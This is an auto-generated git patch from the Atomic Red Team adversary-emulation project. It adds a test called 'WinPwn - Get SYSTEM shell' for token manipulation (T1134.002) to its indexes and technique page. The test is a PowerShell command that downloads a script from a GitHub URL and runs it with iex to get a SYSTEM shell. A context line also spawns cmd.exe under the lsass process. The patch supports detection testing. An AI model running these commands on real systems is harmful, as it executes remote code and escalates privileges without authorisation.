From 6085787ee9bd4cb3a7c573d64488d316fc027435 Mon Sep 17 00:00:00 2001 From: Atomic Red Team doc generator Date: Thu, 12 May 2022 23:40:31 +0000 Subject: [PATCH] Generated docs from job=generate-docs branch=master [ci skip] --- atomics/Indexes/Indexes-CSV/index.csv | 2 ++ atomics/Indexes/Indexes-CSV/windows-index.csv | 2 ++ atomics/Indexes/Indexes-Markdown/index.md | 2 ++ .../Indexes/Indexes-Markdown/windows-index.md | 2 ++ atomics/Indexes/index.yaml | 20 +++++++++++++ atomics/T1134.002/T1134.002.md | 30 +++++++++++++++++++ 6 files changed, 58 insertions(+) diff --git a/atomics/Indexes/Indexes-CSV/index.csv b/atomics/Indexes/Indexes-CSV/index.csv index f424828b..bc4b7a2e 100644 --- a/atomics/Indexes/Indexes-CSV/index.csv +++ b/atomics/Indexes/Indexes-CSV/index.csv @@ -219,6 +219,7 @@ privilege-escalation,T1546.015,Component Object Model Hijacking,2,Powershell Exe privilege-escalation,T1053.007,Container Orchestration Job,1,ListCronjobs,ddfb0bc1-3c3f-47e9-a298-550ecfefacbd,bash privilege-escalation,T1053.007,Container Orchestration Job,2,CreateCronjob,f2fa019e-fb2a-4d28-9dc6-fd1a9b7f68c3,bash privilege-escalation,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +privilege-escalation,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell privilege-escalation,T1053.003,Cron,1,Cron - Replace crontab with referenced file,435057fb-74b1-410e-9403-d81baf194f75,bash privilege-escalation,T1053.003,Cron,2,Cron - Add script to all cron subfolders,b7d42afa-9086-4c8a-b7b0-8ea3faa6ebb0,bash privilege-escalation,T1053.003,Cron,3,Cron - Add script to /var/spool/cron/crontabs/ folder,2d943c18-e74a-44bf-936f-25ade6cccab4,bash @@ -377,6 +378,7 @@ defense-evasion,T1218.001,Compiled HTML File,6,Invoke CHM with Script Engine and defense-evasion,T1218.001,Compiled HTML File,7,Invoke CHM Shortcut Command with ITS and Help Topic,15756147-7470-4a83-87fb-bb5662526247,powershell defense-evasion,T1218.002,Control Panel,1,Control Panel Items,037e9d8a-9e46-4255-8b33-2ae3b545ca6f,command_prompt defense-evasion,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +defense-evasion,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell defense-evasion,T1574.001,DLL Search Order Hijacking,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt defense-evasion,T1574.002,DLL Side-Loading,1,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt defense-evasion,T1078.001,Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt diff --git a/atomics/Indexes/Indexes-CSV/windows-index.csv b/atomics/Indexes/Indexes-CSV/windows-index.csv index 8ec97740..d7bdac58 100644 --- a/atomics/Indexes/Indexes-CSV/windows-index.csv +++ b/atomics/Indexes/Indexes-CSV/windows-index.csv @@ -158,6 +158,7 @@ privilege-escalation,T1546.001,Change Default File Association,1,Change Default privilege-escalation,T1546.015,Component Object Model Hijacking,1,COM Hijacking - InprocServer32,48117158-d7be-441b-bc6a-d9e36e47b52b,powershell privilege-escalation,T1546.015,Component Object Model Hijacking,2,Powershell Execute COM Object,752191b1-7c71-445c-9dbe-21bb031b18eb,powershell privilege-escalation,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +privilege-escalation,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell privilege-escalation,T1574.001,DLL Search Order Hijacking,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt privilege-escalation,T1574.002,DLL Side-Loading,1,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt privilege-escalation,T1078.001,Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt @@ -262,6 +263,7 @@ defense-evasion,T1218.001,Compiled HTML File,6,Invoke CHM with Script Engine and defense-evasion,T1218.001,Compiled HTML File,7,Invoke CHM Shortcut Command with ITS and Help Topic,15756147-7470-4a83-87fb-bb5662526247,powershell defense-evasion,T1218.002,Control Panel,1,Control Panel Items,037e9d8a-9e46-4255-8b33-2ae3b545ca6f,command_prompt defense-evasion,T1134.002,Create Process with Token,1,Access Token Manipulation,dbf4f5a9-b8e0-46a3-9841-9ad71247239e,powershell +defense-evasion,T1134.002,Create Process with Token,2,WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique,ccf4ac39-ec93-42be-9035-90e2f26bcd92,powershell defense-evasion,T1574.001,DLL Search Order Hijacking,1,DLL Search Order Hijacking - amsi.dll,8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3,command_prompt defense-evasion,T1574.002,DLL Side-Loading,1,DLL Side-Loading using the Notepad++ GUP.exe binary,65526037-7079-44a9-bda1-2cb624838040,command_prompt defense-evasion,T1078.001,Default Accounts,1,Enable Guest account with RDP capability and admin privileges,99747561-ed8d-47f2-9c91-1e5fde1ed6e0,command_prompt diff --git a/atomics/Indexes/Indexes-Markdown/index.md b/atomics/Indexes/Indexes-Markdown/index.md index 51b9632c..983a96e6 100644 --- a/atomics/Indexes/Indexes-Markdown/index.md +++ b/atomics/Indexes/Indexes-Markdown/index.md @@ -335,6 +335,7 @@ - Atomic Test #2: CreateCronjob [containers] - [T1134.002 Create Process with Token](../../T1134.002/T1134.002.md) - Atomic Test #1: Access Token Manipulation [windows] + - Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique [windows] - T1543 Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1053.003 Cron](../../T1053.003/T1053.003.md) - Atomic Test #1: Cron - Replace crontab with referenced file [macos, linux] @@ -595,6 +596,7 @@ - T1578.002 Create Cloud Instance [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1134.002 Create Process with Token](../../T1134.002/T1134.002.md) - Atomic Test #1: Access Token Manipulation [windows] + - Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique [windows] - T1578.001 Create Snapshot [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1574.001 DLL Search Order Hijacking](../../T1574.001/T1574.001.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] diff --git a/atomics/Indexes/Indexes-Markdown/windows-index.md b/atomics/Indexes/Indexes-Markdown/windows-index.md index a8616b26..369dc9f9 100644 --- a/atomics/Indexes/Indexes-Markdown/windows-index.md +++ b/atomics/Indexes/Indexes-Markdown/windows-index.md @@ -255,6 +255,7 @@ - Atomic Test #2: Powershell Execute COM Object [windows] - [T1134.002 Create Process with Token](../../T1134.002/T1134.002.md) - Atomic Test #1: Access Token Manipulation [windows] + - Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique [windows] - T1543 Create or Modify System Process [CONTRIBUTE A TEST](https://github.com/redcanaryco/atomic-red-team/wiki/Contributing) - [T1574.001 DLL Search Order Hijacking](../../T1574.001/T1574.001.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] @@ -430,6 +431,7 @@ - Atomic Test #1: Control Panel Items [windows] - [T1134.002 Create Process with Token](../../T1134.002/T1134.002.md) - Atomic Test #1: Access Token Manipulation [windows] + - Atomic Test #2: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique [windows] - [T1574.001 DLL Search Order Hijacking](../../T1574.001/T1574.001.md) - Atomic Test #1: DLL Search Order Hijacking - amsi.dll [windows] - [T1574.002 DLL Side-Loading](../../T1574.002/T1574.002.md) diff --git a/atomics/Indexes/index.yaml b/atomics/Indexes/index.yaml index 49616ad0..556bc10d 100644 --- a/atomics/Indexes/index.yaml +++ b/atomics/Indexes/index.yaml @@ -13906,6 +13906,16 @@ privilege-escalation: $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") name: powershell elevation_required: true + - name: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation + technique + auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92 + description: Get SYSTEM shell - Pop System Shell using Token Manipulation technique + via function of WinPwn + supported_platforms: + - windows + executor: + command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem + name: powershell T1543: technique: object_marking_refs: @@ -25371,6 +25381,16 @@ defense-evasion: $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromParent((Get-Process lsass).Id,"cmd.exe") name: powershell elevation_required: true + - name: WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation + technique + auto_generated_guid: ccf4ac39-ec93-42be-9035-90e2f26bcd92 + description: Get SYSTEM shell - Pop System Shell using Token Manipulation technique + via function of WinPwn + supported_platforms: + - windows + executor: + command: iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem + name: powershell T1578.001: technique: object_marking_refs: diff --git a/atomics/T1134.002/T1134.002.md b/atomics/T1134.002/T1134.002.md index e5a284a5..bcdea468 100644 --- a/atomics/T1134.002/T1134.002.md +++ b/atomics/T1134.002/T1134.002.md @@ -8,6 +8,8 @@ Creating processes with a different token may require the credentials of the tar - [Atomic Test #1 - Access Token Manipulation](#atomic-test-1---access-token-manipulation) +- [Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique](#atomic-test-2---winpwn---get-system-shell---pop-system-shell-using-token-manipulation-technique) +
@@ -42,4 +44,32 @@ $PathToAtomicsFolder\T1134.002\src\GetToken.ps1; [MyProcess]::CreateProcessFromP +
+
+ +## Atomic Test #2 - WinPwn - Get SYSTEM shell - Pop System Shell using Token Manipulation technique +Get SYSTEM shell - Pop System Shell using Token Manipulation technique via function of WinPwn + +**Supported Platforms:** Windows + + +**auto_generated_guid:** ccf4ac39-ec93-42be-9035-90e2f26bcd92 + + + + + + +#### Attack Commands: Run with `powershell`! + + +```powershell +iex(new-object net.webclient).downloadstring('https://raw.githubusercontent.com/S3cur3Th1sSh1t/Get-System-Techniques/master/TokenManipulation/Get-WinlogonTokenSystem.ps1');Get-WinLogonTokenSystem +``` + + + + + +